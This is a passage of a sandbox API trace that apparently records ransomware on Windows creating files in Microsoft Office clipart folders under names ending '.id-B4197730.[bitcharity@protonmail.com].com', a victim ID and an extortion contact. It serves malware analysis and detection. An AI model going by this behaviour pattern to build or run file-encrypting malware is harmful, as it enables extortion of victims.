lpNewFilePointer=0x0) returned 1 [0246.404] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.404] CloseHandle (hObject=0x11cc) returned 1 [0246.405] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.405] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.406] CloseHandle (hObject=0x11cc) returned 1 [0246.407] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.407] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.407] CloseHandle (hObject=0x11cc) returned 1 [0246.408] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.408] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.409] CloseHandle (hObject=0x11cc) returned 1 [0246.411] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.411] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099159.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.411] CloseHandle (hObject=0x11cc) returned 1 [0246.412] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.412] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.412] CloseHandle (hObject=0x11cc) returned 1 [0246.413] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.413] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.413] CloseHandle (hObject=0x11cc) returned 1 [0246.414] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.414] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.414] CloseHandle (hObject=0x11cc) returned 1 [0246.415] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.415] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.415] CloseHandle (hObject=0x11cc) returned 1 [0246.416] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.416] SetFilePointerEx (in: hFile=0x11cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.416] CloseHandle (hObject=0x11cc) returned 1 [0246.905] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.905] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099165.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099165.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.905] CloseHandle (hObject=0x1178) returned 1 [0246.906] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.906] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.906] CloseHandle (hObject=0x1178) returned 1 [0246.907] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.907] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.908] CloseHandle (hObject=0x1178) returned 1 [0246.909] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.909] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.909] CloseHandle (hObject=0x1178) returned 1 [0246.910] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.910] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.911] CloseHandle (hObject=0x1178) returned 1 [0246.912] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.912] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.912] CloseHandle (hObject=0x1178) returned 1 [0246.913] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.913] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.913] CloseHandle (hObject=0x1178) returned 1 [0246.915] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.915] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.915] CloseHandle (hObject=0x1178) returned 1 [0246.916] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.916] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.917] CloseHandle (hObject=0x1178) returned 1 [0246.918] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.918] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.924] CloseHandle (hObject=0x1178) returned 1 [0246.925] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.926] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.926] CloseHandle (hObject=0x1178) returned 1 [0246.927] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.927] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.927] CloseHandle (hObject=0x1178) returned 1 [0246.928] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.928] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.928] CloseHandle (hObject=0x1178) returned 1 [0246.929] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.930] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.930] CloseHandle (hObject=0x1178) returned 1 [0246.931] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.931] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.931] CloseHandle (hObject=0x1178) returned 1 [0246.933] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.933] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.933] CloseHandle (hObject=0x1178) returned 1 [0246.934] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.934] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.934] CloseHandle (hObject=0x1178) returned 1 [0246.935] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.935] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.935] CloseHandle (hObject=0x1178) returned 1 [0246.937] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.937] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.937] CloseHandle (hObject=0x1178) returned 1 [0246.938] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.938] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0246.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.938] CloseHandle (hObject=0x1178) returned 1 [0248.496] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0248.496] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0248.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.785] CloseHandle (hObject=0x125c) returned 1 [0249.711] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.711] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.712] CloseHandle (hObject=0x1258) returned 1 [0249.921] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.921] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0249.921] 